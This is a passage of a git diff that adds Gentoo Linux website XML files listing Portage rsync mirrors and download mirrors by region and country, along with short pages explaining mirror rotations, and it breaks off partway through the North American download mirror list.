+  </mirror>
+  <mirror>
+    <name>Michigan Tech University - rsync24.us.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync24.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Indiana University, Unix Systems Support Group - rsync25.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync25.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>TDS Internet Services - rsync26.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync26.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Semaphore Corporation - rsync27.us.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync27.us.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Liquidweb Inc (genfu.org) - rsync29.us.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync29.us.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="South America (rsync.samerica.gentoo.org)" country="BR">
+  <mirror>
+    <name>Any available mirror - rsync.br.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.br.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Laboratory of System Administration - rsync1.br.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.br.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Laboratório de Computação Científica - UFMG</name>
+    <uri protocol="rsync">rsync://rsync2.br.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="AT">
+  <mirror>
+    <name>Any available mirror - rsync.at.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync.at.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Inode - rsync1.at.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.at.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Lagis - rsync2.at.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync2.at.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="CZ">
+  <mirror>
+    <name>Any available mirror - rsync.cz.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.cz.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>UPC Česká republika, a.s - rsync1.cz.gentoo.org.</name>
+	<uri protocol="rsync">rsync://rsync1.cz.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Advokatni Kancelar Kindl &amp; Partneri - rsync2.cz.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync2.cz.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="DE">
+  <mirror>
+    <name>Any available mirror - rsync.de.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Gentoo e.V. - rsync1.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>hosteurope.de - rsync3.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync3.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Opteamax UG - rsync4.de.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync4.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>I-Node - rsync5.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync5.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>rwth-aachen.de - rsync6.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync6.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>stealer.net - rsync7.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync7.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>gentoo64.net - rsync8.de.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync8.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>University of Applied Sciences, Esslingen - rsync9.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync9.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Ruhr-Universität Bochum - rsync10.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync10.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>SPLINE, Institut für Informatik, Freie Universität Berlin -
+		rsync11.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync11.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>mirror.amiconsult.de - rsync12.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync12.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>sonic-lux.net - rsync13.de.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync13.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Westfaelische Wilhelms-Universitaet - rsync14.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync14.de.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>University of Applied Sciences Ostwestfalen Lippe -
+		rsync16.de.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync16.de.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="FI">
+  <mirror>
+    <name>Any available mirror - rsync.fi.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.fi.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>tut.fi - rsync1.fi.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.fi.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="FR">
+  <mirror>
+    <name>Any available mirror - rsync.fr.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync.fr.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Linuxant.fr - rsync1.fr.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync1.fr.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Ovh Hosting Provider - rsync2.fr.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync2.fr.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Ovh Hosting Provider - rsync3.fr.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='n'>rsync://rsync3.fr.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>gentoo.modulix.net - rsync4.fr.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync4.fr.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="GR">
+  <mirror>
+    <name>Any available mirror - rsync.gr.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.gr.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>gentoo.gr - rsync1.gr.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.gr.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="HU">
+  <mirror>
+    <name>Any available mirror - rsync.hu.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.hu.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>IND Group - rsync1.hu.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.hu.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="IE">
+  <mirror>
+    <name>Any available mirror - rsync.ie.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.ie.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>HEAnet - Ireland's National Education and Research Network -
+		rsync1.ie.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.ie.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="LT">
+  <mirror>
+    <name>Any available mirror - rsync.lt.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.lt.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>KTU ELEN Gentoo Mirror - rsync1.lt.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.lt.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="LV">
+  <mirror>
+    <name>Any available mirror - rsync.lv.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.lv.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Tups.lv - rsync1.lv.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.lv.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="NL">
+  <mirror>
+    <name>Any available mirror - rsync.nl.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.nl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Cambrium BV - rsync1.nl.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.nl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Universiteit Twente - rsync2.nl.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync2.nl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Tiscali - rsync3.nl.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync3.nl.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="PL">
+  <mirror>
+    <name>Any available mirror - rsync.pl.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync.pl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+	<name>Institute of Theoretical Physics University of Wroclaw, Poland - rsync1.pl.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync1.pl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Rzeszow University of Technology - rsync3.pl.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync3.pl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Technical University of Opole - rsync4.pl.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync4.pl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Warsaw University Of Technology - rsync6.pl.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync6.pl.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Vectranet - rsync7.pl.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync7.pl.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="PT">
+  <mirror>
+    <name>Any available mirror - rsync.pt.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync.pt.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Universidade do Minho - rsync1.pt.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.pt.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Rede das Novas Licenciaturas - rsync2.pt.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync2.pt.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="RO">
+  <mirror>
+    <name>Any available mirror - rsync.ro.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.ro.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Ineton - rsync1.ro.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.ro.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Romanian Education Network - rsync3.ro.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync3.ro.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="SE">
+  <mirror>
+    <name>Any available mirror - rsync.se.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.se.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>parabol.com - rsync2.se.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync2.se.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>ING-net Umea University - rsync3.se.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync3.se.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Dataphone - rsync5.se.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync5.se.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="SK">
+  <mirror>
+    <name>Any available mirror - rsync.sk.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.sk.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Wheel.sk - rsync1.sk.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.sk.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Ynet.sk - rsync2.sk.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync2.sk.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Rainside.sk - rsync3.sk.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync3.sk.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>hq.alert.sk - rsync4.sk.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync4.sk.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="UA">
+  <mirror>
+    <name>Any available mirror - rsync.ua.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.ua.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>gentoo.kiev.ua - rsync1.ua.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.ua.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>ITEAM gentoo mirror - rsync2.ua.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync2.ua.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Telcom ISP - rsync3.ua.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync3.ua.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Europe (rsync.europe.gentoo.org)" country="UK">
+  <mirror>
+    <name>Any available mirror - rsync.uk.gentoo.org</name>
+    <uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync.uk.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Qube Managed Services - rsync1.uk.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync1.uk.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Bytemark Hosting - rsync2.uk.gentoo.org</name>
+	<uri protocol="rsync">rsync://rsync2.uk.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>star.net.uk - rsync3.uk.gentoo.org</name>
+	<uri protocol="rsync" ipv4='y' ipv6='y'>rsync://rsync3.uk.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Australia (rsync.au.gentoo.org)" country="AU">
+  <mirror>
+    <name>Any available mirror - rsync.au.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.au.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Swinburne University of Technology - rsync1.au.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.au.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia (rsync.asia.gentoo.org)" country="CN">
+  <mirror>
+    <name>Any available mirror - rsync.cn.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.cn.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>chinavfx.net - rsync1.cn.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.cn.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>mirrors.xmu.edu.cn - rsync2.cn.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync2.cn.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia (rsync.asia.gentoo.org)" country="JP">
+  <mirror>
+    <name>Any available mirror - rsync.jp.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.jp.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>gg3.net - rsync1.jp.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.jp.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Japan Advanced Institute of Science and Technology -
+		rsync3.jp.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync3.jp.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>wide.ad.jp - rsync5.jp.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync5.jp.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia (rsync.asia.gentoo.org)" country="KW">
+  <mirror>
+    <name>Any available mirror - rsync.kw.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.kw.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>KEMS-Zajil - rsync1.kw.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.kw.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia (rsync.asia.gentoo.org)" country="KZ">
+  <mirror>
+    <name>Any available mirror - rsync.kz.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.kz.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Neo Lab's - rsync1.kz.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.kz.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia (rsync.asia.gentoo.org)" country="RU">
+  <mirror>
+    <name>Any available mirror - rsync.ru.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.ru.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>bloodhost.ru - rsync1.ru.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.ru.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>Yandex.ru - rsync2.ru.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync2.ru.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>xeon.gentoo.ru - rsync4.ru.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync4.ru.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia (rsync.asia.gentoo.org)" country="SG">
+  <mirror>
+    <name>Any available mirror - rsync.sg.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.sg.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>mirror.averse.net - rsync1.sg.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync1.sg.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<mirrorgroup region="Asia (rsync.asia.gentoo.org)" country="TW">
+  <mirror>
+    <name>Any available mirror - rsync.tw.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync.tw.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>isu.edu.tw - rsync3.tw.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync3.tw.gentoo.org</uri>
+  </mirror>
+  <mirror>
+    <name>National Center for High-Performance Computing - rsync6.tw.gentoo.org</name>
+    <uri protocol="rsync">rsync://rsync6.tw.gentoo.org</uri>
+  </mirror>
+</mirrorgroup>
+
+<countries>
+  <country code="AR">Argentina</country>
+  <country code="AT">Austria</country>
+  <country code="AU">Australia</country>
+  <country code="BA">Bosnia and Herzegovina</country>
+  <country code="BG">Bulgaria</country>
+  <country code="BR">Brazil</country>
+  <country code="BS">Bahamas</country>
+  <country code="CA">Canada</country>
+  <country code="CH">Switzerland</country>
+  <country code="CN">China</country>
+  <country code="CZ">Czech Republic</country>
+  <country code="DE">Germany</country>
+  <country code="DK">Denmark</country>
+  <country code="EE">Estonia</country>
+  <country code="ES">Spain</country>
+  <country code="FI">Finland</country>
+  <country code="FR">France</country>
+  <country code="GR">Greece</country>
+  <country code="HK">Hong Kong</country>
+  <country code="HU">Hungary</country>
+  <country code="IE">Ireland</country>
+  <country code="IL">Israel</country>
+  <country code="IS">Iceland</country>
+  <country code="IT">Italy</country>
+  <country code="JP">Japan</country>
+  <country code="KR">South Korea</country>
+  <country code="KW">Kuwait</country>
+  <country code="KZ">Kazakhstan</country>
+  <country code="LT">Lithuania</country>
+  <country code="LV">Latvia</country>
+  <country code="NL">Netherlands</country>
+  <country code="NO">Norway</country>
+  <country code="PL">Poland</country>
+  <country code="PT">Portugal</country>
+  <country code="RO">Romania</country>
+  <country code="RU">Russia</country>
+  <country code="SE">Sweden</country>
+  <country code="SG">Singapore</country>
+  <country code="SK">Slovakia</country>
+  <country code="TH">Thailand</country>
+  <country code="TR">Turkey</country>
+  <country code="TW">Taiwan</country>
+  <country code="UA">Ukraine</country>
+  <country code="UK">UK</country>
+  <country code="US">USA</country>
+</countries>
+
+</mirrors>
+
diff --git a/xml/htdocs/main/en/mirrors-rsync.xml b/xml/htdocs/main/en/mirrors-rsync.xml
new file mode 100644
index 00000000..76d757a1
--- /dev/null
+++ b/xml/htdocs/main/en/mirrors-rsync.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/mirrors-rsync.xml,v 1.3 2010/01/22 16:21:53 darkside Exp $ -->
+<?xml-stylesheet href="/xsl/mirrors.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+<title>Gentoo Linux Portage rsync Mirrors</title>
+<author title="Author">
+  <mail link="robbat2" />
+</author>
+<author title="Author">
+  <mail link="darkside" />
+</author>
+
+<abstract>
+List of Gentoo Portage rsync Mirrors
+</abstract>
+
+<license/>
+
+<version>1.11</version>
+<date>2010-01-22</date>
+
+<chapter>
+<title>Official mirrors</title>
+<section>
+<body>
+
+<p>
+The Gentoo infrastructure team maintains serveral rsync mirrors. This
+rotation is called <c>rsync.gentoo.org</c>. The <c>SYNC</c> variable in
+<path>/etc/make.conf</path> is set to this rotation by default.
+These mirrors are located globally and may not be the fastest for your location,
+however, they are very reliable. Please do not use a mirror in this rotation
+directly, instead only use the rotation.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Community mirrors</title>
+<section>
+<body>
+
+<p>
+The following is the listing of individual Portage rsync mirrors that are run
+by the community. Community mirrors come and go, but they are monitored to make
+sure that they are up to date. It is advised to use a rotation instead of a
+single mirror directly. This helps spread out the load and provides a failsafe
+in case a specific mirror is offline.
+</p>
+</body>
+</section>
+</chapter>
+
+<mirrorlist select="full" src="/main/en/mirrors-rsync-data.xml"/>
+
+</mainpage>
diff --git a/xml/htdocs/main/en/mirrors.xml b/xml/htdocs/main/en/mirrors.xml
new file mode 100644
index 00000000..52901a05
--- /dev/null
+++ b/xml/htdocs/main/en/mirrors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/mirrors.xml,v 1.582 2009/12/03 10:25:33 robbat2 Exp $ -->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- Only mirrorselect < 2.0.0 uses this file -->
+<!-- Please do not place any mirrors into it anymore -->
+
+<mainpage redirect="mirrors2.xml">
+	<title>Gentoo Linux Mirrors</title>
+
+	<author title="Author">
+		<mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+	</author>
+
+	<version>0</version>
+	
+	<chapter>
+		<title>Gentoo Download Mirrors</title>
+
+		<section>
+			<title>Other Mirrors:</title>
+			<body>
+				<p>
+					<uri link="http://distfiles.gentoo.org/">Gentoo distfiles mirror (Global)</uri><br/>
+					<uri link="Please upgrade to ">app-portage/mirrorselect-2.0.0 or higher</uri><br/>
+				</p>
+			</body>
+		</section>
+	</chapter>
+</mainpage>
+
diff --git a/xml/htdocs/main/en/mirrors2.xml b/xml/htdocs/main/en/mirrors2.xml
new file mode 100644
index 00000000..86427d17
--- /dev/null
+++ b/xml/htdocs/main/en/mirrors2.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/mirrors2.xml,v 1.3 2009/12/03 09:11:20 robbat2 Exp $ -->
+<?xml-stylesheet href="/xsl/mirrors.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage>
+<title>Gentoo Linux Mirrors</title>
+
+<author title="Author">
+  <mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+</author>
+<author title="Editor">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Editor">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+
+<abstract>
+List of Gentoo Mirrors
+</abstract>
+
+<license/>
+
+<version>2.1</version>
+<date>2009-12-03</date>
+
+<chapter>
+<title>Gentoo Download Full Mirrors</title>
+<section>
+<body>
+
+<p>
+The following organizations provide a full source mirror of all files related
+to Gentoo, including installation CDs, LiveCDs and GRP package sets.
+</p>
+
+<impo>
+These mirrors are download mirrors. The rsync-mirrors listed here are
+<e>not</e> for individual use (i.e. <c>emerge --sync</c>) as that would
+download the full mirror instead of just the Portage tree.
+</impo>
+
+<note>* indicates mirrors that support IPv6</note>
+
+</body>
+</section>
+</chapter>
+
+<mirrorlist select="full" src="/main/en/mirrors3.xml"/>
+
+<chapter id="other">
+<title>Other Mirrors</title>
+<section>
+<body>
+
+<p>
+<uri link="http://ibiblio.org/pub/Linux/MIRRORS.html">Ibiblio.org(worldwide
+ibiblio mirrors)</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="partial">
+<title>Partial Mirrors</title>
+<section>
+<body>
+
+<p>
+These mirrors are not complete mirrors. Some provide only distfiles, while
+others provide only installation media. Please use one of the full mirrors if
+you cannot find what you're looking for.
+</p>
+
+</body>
+
+<body>
+ <mirrorlist select="partial" src="/main/en/mirrors3.xml"/>
+</body>
+</section>
+</chapter>
+
+<chapter id="resources">
+<title>Mirroring Resources</title>
+<section>
+<body>
+
+<p>
+ <uri link="/doc/en/rsync.xml">How to set up a Gentoo rsync mirror</uri><br/>
+ <uri link="/doc/en/source_mirrors.xml">How to set up a Gentoo source mirror</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/en/mirrors3.xml b/xml/htdocs/main/en/mirrors3.xml
new file mode 100644
index 00000000..5173e20f
--- /dev/null
+++ b/xml/htdocs/main/en/mirrors3.xml
@@ -0,0 +1,874 @@
+<?xml version='1.0'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/en/mirrors3.xml,v 1.150 2010/07/09 17:58:51 halcy0n Exp $ -->
+<?xml-stylesheet href="/xsl/mirrors.xsl" type="text/xsl"?>
+
+<!-- robbat2 2009-12-03: the only mirrors.xml is no longer used at all. -->
+
+<!DOCTYPE mirrors SYSTEM "/dtd/mirrors.dtd">
+
+<mirrors>
+
+<mirrorgroup region="North America" country="CA">
+<mirror>
+  <name>Arctic Network Mirrors</name>
+  <uri protocol="ftp">ftp://gentoo.arcticnetwork.ca/pub/gentoo/</uri>
+  <uri protocol="http">http://gentoo.arcticnetwork.ca/</uri>
+</mirror>
+<mirror>
+  <name>Tera-byte Dot Com Inc</name>
+  <uri protocol="ftp">ftp://mirrors.tera-byte.com/pub/gentoo</uri>
+  <uri protocol="http">http://gentoo.mirrors.tera-byte.com/</uri>
+  <uri protocol="rsync">rsync://mirrors.tera-byte.com/gentoo</uri>
+</mirror>
+<mirror>
+  <name>University of Waterloo</name>
+  <uri protocol="ftp">ftp://mirror.csclub.uwaterloo.ca/gentoo-distfiles/</uri>
+  <uri protocol="http">http://mirror.csclub.uwaterloo.ca/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>Gossamer Threads</name>
+  <uri protocol="http">http://gentoo.gossamerhost.com</uri>
+  <uri protocol="rsync">rsync://gentoo.gossamerhost.com/gentoo-distfiles/</uri>
+</mirror>
+<mirror>
+  <name>mirror.the-best-hosting.net</name>
+  <uri protocol="http">http://mirror.the-best-hosting.net</uri>
+  <uri protocol="rsync">rsync://mirror.the-best-hosting.net/gentoo-distfiles</uri>
+</mirror>
+</mirrorgroup>
+
+<mirrorgroup region="North America" country="US">
+<mirror>
+  <name>OSU Open Source Lab</name>
+  <uri protocol="http">http://gentoo.osuosl.org/</uri>
+</mirror>
+<mirror>
+  <name>ibiblio.org</name>
+  <uri protocol="ftp" partial="y">ftp://distro.ibiblio.org/pub/linux/distributions/gentoo/</uri>
+  <uri protocol="http" partial="y">http://distro.ibiblio.org/pub/linux/distributions/gentoo/</uri>
+  <uri protocol="rsync" partial="y">rsync://distro.ibiblio.org/pub/linux/distributions/gentoo/</uri>
+</mirror>
+<mirror>
+  <name>Georgia Tech</name>
